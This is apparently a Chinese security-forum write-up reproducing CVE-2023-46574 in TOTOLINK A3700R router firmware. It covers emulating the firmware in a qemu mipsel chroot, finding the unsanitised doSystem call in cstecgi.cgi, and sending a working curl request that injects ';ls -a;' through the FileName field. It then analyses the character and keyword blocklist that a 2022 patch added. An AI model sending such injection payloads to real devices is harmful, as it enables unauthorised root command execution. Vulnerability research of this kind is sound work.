-
-
[分享]复现TOTOLINK CVE-2023-46574,定位迭代版本补丁点
-
发表于: 5天前 627
-
1、搭建 qemu mipsel 环境
sudo apt-get install schroot debootstrap ubuntu22.04 debootstrap --arch=mipsel bookworm /iotconfig/debootstrap/mipsel 9c2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0K9i4u0J5L8%4u0K6i4K6u0W2j5h3I4A6P5i4g2F1i4K6u0W2j5$3!0E0i4K6u0r3k6r3g2T1K9h3q4F1

sudo apt update sudo apt install qemu-user-static binfmt-support -y ls /iotconfig/debootstrap/mipsel
搭建成功mipsel环境后,成功运行mipsel 架构的程序

2、然后配置schroot
sudo vim /etc/schroot/chroot.d/mipsel.conf [mipsel] type=directory directory=/iotconfig/debootstrap/mipsel/ users=root groups=root root-groups=root


可以看到已经配置成功了,schroot进入环境
*警告的具体含义解释
- 第一个 W (
Failed to change to directory...): 当你运行schroot命令时,它默认会尝试让你保持在当前所在的目录。
- 原因:在外部主机(Host)执行命令时所在的目录是
/iotconfig/debootstrap。进入schroot环境后,系统发现这个mipsel的小世界里没有/iotconfig/debootstrap这个路径。 - 结果:它没法把你带到那个不存在的文件夹里。
- 中间的 I (
The directory does not exist inside the chroot): 这是 Information(信息)。它是在建议:如果非要在某个特定目录运行,可以使用--directory参数。 - 第二个 W (
Falling back to directory '/root'):
- 原因:既然进不去原来的目录,
schroot总得给你找个落脚点。 - 结果:它自动把你带到了当前用户(root)在环境内部的家目录,即
/root。
3、解析固件源码
在kali中 binwalk -e TOTOLINK_A3700R_V9.1.2u.6165_20211012.web

找到 cstecgi.cgi 文件 find . -name "cstecgi.cgi"

取出进入IDA pro9.0,程序为 MIPS 架构,进行反编译后定位到关键函数
- 按下
Shift + F12打开 Strings 窗口。 - 在窗口内按
Ctrl + F,输入FileName进行搜索。 - 双击搜到的
FileName字符串,跳转到它在数据段的位置。 - 在跳转后的位置,点击字符串变量名,
aFilename_0,再次按X键。 - 直接找到处理这个参数的函数,也就是漏洞函数。



经过查找为第三个函数

这个漏洞是 OS 命令注入 。
在 图片中,我们可以看到三个关键环节:
- 不受信任的输入 (Source):
Var = (const char *)websGetVar(a1, "FileName", "");程序从 Web 请求中直接获取了用户提交的FileName参数。这意味着攻击者可以往这个变量里填入任何字符串。 - 危险的函数调用 :
doSystem("mv %s %s", Var, v38);doSystem函数(底层通常调用system())会将括号里的字符串直接交给操作系统的 Shell (命令行解释器) 去执行。 - 缺乏过滤: 在
websGetVar拿到字符串和doSystem执行命令之间,没有任何代码检查Var里面是否包含恶意字符(如;,|,&)。程序默认用户只会输入一个正常的文件名,这就是典型的**“过分信任用户输入”**。
程序逻辑将“数据”当成了“指令”去执行。
4、进行固件模拟
sudo binwalk --run-as=root -Me TOTOLINK_A3700R_V9.1.2u.6165_20211012.web


查看目录,可以看到有个lighttpd文件夹,所以这里用的是lighttpd服务

在lighttpd目录下找到了配置文件,来启动该文件
sudo cp -r squashfs-root /iotconfig/debootstrap/mipsel/root/
然后将squashfs-root复制到安装的mipsel系统上
进入mipsel系统,然后再chroot进入squashfs-root目录下
sudo schroot -c chroot:mipsel -u root chroot squashfs-root/



然后直接启动服务即可,我这边需要先在/var/run目录下创建一个lighttpd.pid文件
mkdir /var/run touch /var/run/lighttpd.pid lighttpd -f lighttp/lighttpd.conf
遇到的报错 “opening pid-file failed: /var/run/lighttpd.pid No such file or directory”,是因为 lighttpd 服务在启动时需要一个地方来存放它的“身份证”——也就是 PID 文件。

成功启动服务
5、尝试进行注入
因为没有设置密码,直接抓包空字符进入,这里在其他情况下也可以尝试爆破等方法进入




然后在此页面拿到session id:2:1768393668:2

拿到session id后直接在cstecgi.cgi存在漏洞处执行注入curl f1cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8X3y4Y4K9g2)9J5k6r3u0A6L8W2)9J5c8X3y4K6N6r3g2U0k6$3W2Q4x3X3g2U0k6$3V1`. -b "SESSION_ID=2:1768393668:2" -X POST -d '{"topicurl":"UploadFirmwareFile","FileName":";ls -a;"}'
可以看到利用成功

6、CVE复现总结
1. 漏洞根本原因:数据与指令的边界模糊
该漏洞属于典型的 OS 命令注入 (OS Command Injection)。
- 过分信任用户输入:程序通过
websGetVar获取了名为FileName的参数值,并直接存入变量Var中。 - 危险的命令拼接:程序随后调用
doSystem函数(底层执行system()调用),将Var直接拼接进mv %s %s字符串中。 - 缺乏过滤机制:在“获取输入”到“执行命令”之间,代码没有对
;,|,&,$等 Shell 特殊字符进行任何过滤或转义。
2. 攻击手法:利用“截断”与“并行”
通过 curl 发送了一个精心构造的 POST 请求:
- Payload 构造:
"FileName":";ls -a;"。 - 注入原理:
- 程序原本打算执行:
mv [文件名] /tmp/myImage.img。 - 由于注入了分号
;,Shell 将其解析为三个独立指令:
mv(无文件名参数,报错)ls -a(你的攻击指令,成功执行并返回结果)/tmp/myImage.img(路径报错)
3. 为什么需要取得 SESSION_ID?
在攻击命令中,-b "SESSION_ID=..." 是必须的。
- 身份校验机制:路由器为了安全,不会允许任何匿名用户直接访问后台功能(如固件上传
UploadFirmwareFile)。 - 会话绑定:当通过浏览器登录后,服务器会下发一个
SESSION_ID存储在 Cookie 中。后续的每一个请求,服务器都会检查这个 ID 是否对应一个已登录的合法会话。 - 结论:如果不提供合法的
SESSION_ID,Web 服务器(lighttpd)或 CGI 脚本在执行核心漏洞逻辑前就会直接拦截并返回“未授权”错误,也就无法触及到危险的doSystem代码。
4. 总结与反思:为什么这么攻击?
- 隐蔽性:通过 Web API(如
cstecgi.cgi)进行攻击是远程控制设备最直接的路径。 - 权限高:由于 Web 服务或 CGI 进程在嵌入式设备中通常以 root 权限运行,这意味着一旦实现命令注入,就直接拿到了系统的最高控制权。
参考链接:578K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4x3K6p5J5z5l9`.`.
7、尝试在新版本定位补丁点
同样获取cstecgi.cgi源码寻找漏洞
binwalk -e TOTOLINK_A3700R_V9.1.2u.6322_20220609.web find . -name "cstecgi.cgi"

取得cstecgi.cgi文件后进入ida寻找漏洞函数
取出进入IDA pro9.0,程序为 MIPS 架构,进行反编译后同样定位到关键函数
- 按下
Shift + F12打开 Strings 窗口。 - 在窗口内按
Ctrl + F,输入FileName进行搜索。 - 双击搜到的
FileName字符串,跳转到它在数据段的位置。 - 在跳转后的位置,点击字符串变量名,
aFilename_0,再次按X键,寻找交叉引用 - 直接找到处理这个参数的函数,也就是漏洞函数。


定位到漏洞函数,但很明显2022版本的该路由器固件尝试了修复
维度 | 旧版本代码 (image_dfff94.png) | 2022 新版本代码 (image_e22a50.png) |
核心变量 | 使用 存储路径。 | 使用 存储路径。 |
逻辑保护 | 无。获取 后直接进行命令拼接。 | 新增了校验逻辑。在执行 前插入了 。 |
执行条件 | 只要代码运行到此处,必执行 命令。 | 只有当 的返回结果满足条件时,才会执行 。 |


逆向分析该Validity_check过滤函数,很明显,简单的注入,如上面的;间隔方法已经无法成功利用,会被check后被阻止:
1. 深度分析 Validity_check 函数
这个函数检查了以下字符和字符串:
- 特殊字符 (strchr):
;,&,|,`(反引号),$,\n(换行符)。 - 敏感指令 (strstr):
.sh,iptables,telnetd。
漏洞逻辑变化: 现在,程序会先调用 Validity_check(Var)。如果函数在 FileName 输入中发现了上述任何一个字符或字符串,它会返回一个非零值(True),导致 if ( !Validity_check(Var) ) 判断失败,从而跳过doSystem 的执行。
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!